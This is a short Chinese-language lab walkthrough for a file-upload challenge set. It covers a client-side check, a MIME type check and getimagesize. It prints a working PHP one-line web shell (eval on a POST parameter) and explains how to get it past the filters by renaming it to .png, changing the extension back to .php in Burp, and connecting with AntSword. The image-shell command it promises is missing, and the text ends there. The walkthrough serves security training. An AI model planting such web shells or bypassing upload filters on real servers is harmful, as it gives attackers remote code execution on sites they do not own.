Client check（客户检查）

第一步先新建一个一句话木马

<?php @eval($_POST[1]);?>

然后上传文件

有限制，只能上传那几种类型

现在看看源代码

我们将一句话木马文件的后缀改为png

然后用burp抓包，将png改成php

就能上传成功

然后使用蚁剑连接

MIME type

一样

 新建文件 phpinfo();上传

修改后缀png，然后burp抓包后修改为php

蚁剑连接ok

getimagesize

getimagesize：getimagesize是一个PHP函数，用于获取图像文件的尺寸和类型。该函数可以接受一个图像文件的路径作为参数，并返回一个包含图像宽度、高度和MIME类型的数组。

因此这里需要保证上传的文件是图片，但是还是想要带上自己的php代码，这里就需要使用到“图片马”了

需要一张图片+一个php文件，使用下列命令生成图片马：

然后直接上传